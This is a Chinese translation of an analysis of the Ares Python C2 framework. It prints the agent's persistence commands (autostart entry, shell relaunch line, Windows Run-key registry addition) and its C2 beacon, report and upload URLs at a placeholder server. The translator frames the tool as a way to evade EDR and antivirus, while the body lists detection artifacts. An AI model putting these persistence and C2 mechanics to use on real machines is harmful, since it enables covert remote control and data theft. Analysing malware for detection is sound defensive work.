理解和检测 C2 框架-Ares,Ares在古希腊语中有战神的意思,随着cobaltstrike进入强对抗时代,我们不得不找一些新的C2以避开一众edr和杀软的检测。
这是ARES的在GitHub中的定义
Ares是一个Python撰写的远程访问控制工具。Ares由两个主要程序组成:
命令与控制服务器,它是用于管理agent的 Web 界面
agent程序,在受感染的主机上运行,并确保与CNC的通信
实际上,文件夹结构看起来像这样
“Ares”文件夹结构
让我们通过分析 C2 agent开始我们的旅程
agent位于文件“agent.py”中。它由一个名为“agent”的大类组成,其中包含所有功能。此类将从一个名为“main”的函数调用,该函数又将执行负责运行agent的“run”函数。
在此函数中,我们遇到了此agent的第一个功能,即权限维持。
根据从配置文件“config.py”读取的布尔值,我们调用权限维持函数。
“权限维持”功能
仅当编译agent时,该函数才会执行。这是通过检查“sys”包中的“freezing”属性值来验证的。它还通过调用_“is_installed”_函数来验证agent是否已安装在计算机上,该函数是名为_“get_install_dir”_的函数包装器
“is_installed”功能
“get_install_dir”检查操作系统,并取决于其“Linux”还是“Windows”。它将检查运行agent的“用户”的主目录,并查找名为“ares”的文件夹
如果计算机上未安装agent,则将执行以下命令,具体取决于平台
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]
(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + ~/.ares/[name_of_executable] + ";fi&)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % [agent_path]
至此,agent的安装完成,它将循环侦听来自 C2 的命令。
“主”循环
它首先执行一个名为“server_hello”的函数,该函数将对以下 URL 执行简单的 post 请求并等待指令。
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/hello
该请求将向 C2 发送以下信息:
“server_hello”功能
请注意,由于没有指定“用户agent”,因此将使用“请求”库的默认用户agent。(见下文)
User-Agent: python-requests/[Version]
此请求的结果将存储在变量“todo”中,该变量将包含 C2 服务器发送的任何命令。
在检查从服务器返回的值之前,将调用函数_“update_consecutive_failed_connections”。_ 此函数用于记录主循环中“失败”连接或异常的数量。
如果安装了“agent”,则会在Windows系统上的“%USERPROFILE%/ares”文件夹中和Linux系统上的“~/.ares”文件夹中创建一个名为“failed_connections”的文件。
将要执行的下一组函数将取决于 C2 服务器将发送的命令。大多数函数都包含一些独特的工件,可以帮助我们检测正在使用的行为或功能。
在我们进入支持的命令之前需要注意的一件事。是不是几乎所有命令都使用一个名为_“send_output”_的函数.
“send_output”功能
此函数的作用是使用此 URL 通过 post 请求将任何数据发送回 C2 服务器
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/report
以下是agent支持的命令。
此命令只是将当前目录更改为从 C2 发送的任何目录
“cd”命令
agent可以将任何文件上载到 C2 服务器。有问题的文件将通过发布请求发送到以下 URL:
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/upload
“上传”命令
此命令充当下载agent。C2 服务器将发送要下载的远程文件的位置,并指定存储该文件的位置。
“下载”功能
agent将首先通过“send_output”功能向 C2 发送输出,指示下载开始。然后,将对从 C2 提供的任何 URL 发出“get”请求。
这可以通过查找以下两个与“python-requests/[版本]”的“用户agent”背靠背发出的请求来识别 .
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/reportGET http(s)://[REMOTE_URL]
“clean”命令会清除“持久”命令/函数所做的一切事情。
“Clean”功能
根据平台的不同,将执行以下命令
如果未在配置文件中启用持久性。C2 的操作员可以发送 “persist” 命令来启动持久化过程
此命令将简单地杀死agent进程并退出
“退出”功能
“agent”提供了压缩任何文件或文件夹并将其保存在任何位置的可能性。
“压缩”功能
新创建的zip文件可以位于任何地方,但是关于检测的最重要的事情是它不会自动删除。除非服务器中的“rm”或“del”明确表示。因此,根据C2的操作员,仍然可以在受感染的计算机上找到创建的任何zip文件。
它允许操作员使用“exec”函数执行任意python文件/命令。
“python”函数
创建一个屏幕截图并将其保存在用户的临时目录下(Windows上的“%temp%”和Linux上的“/tmp”)。然后使用上述“上传”功能上传结果。
请注意,agent不会删除有问题的屏幕截图,因此您可以在临时目录中查找任何“.png”文件。
“截图”功能
这将简单地打印一个帮助菜单,显示支持的操作/命令
“帮助”功能
agent提供的最后一个命令是任意命令执行。“runcmd”函数将使用python“子进程”包执行从C2发送的任何命令。
“runcmd”函数
需要注意的一点是,agent具有可以从 CONFIG 文件配置的“空闲”模式。
对agent提供的所有功能的分析到此结束。现在让我们快速浏览一下代码的服务器部分。
C2 接口
此框架的服务器端部分很简单。它写在烧瓶中,并有一个本地数据库来存储有关命令、连接的agent的信息......等。
默认情况下,C2 服务器的服务器标头硬编码为字符串“Ares”。因此,从服务器发送的每个响应都将包含服务器标头“Ares”.
响应 C2
此外,使用agent的“upload”命令上传到C2服务器的文件将默认存储在目录“uploads”中,并且可以直接从服务器访问它们,而无需任何身份验证。
http(s)://[C2_IP]/uploads/[agent_id]/[filename]
除此之外,代码只是处理从agent发送的请求。
其实很多功能跟cs功能相似,但没有cs的功能多,但我们用新的c2不久为了能上线吗,所以勉强能用
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]
原文章:https://nasbench.medium.com/understanding-detecting-c2-frameworks-ares-8c96aa47e50d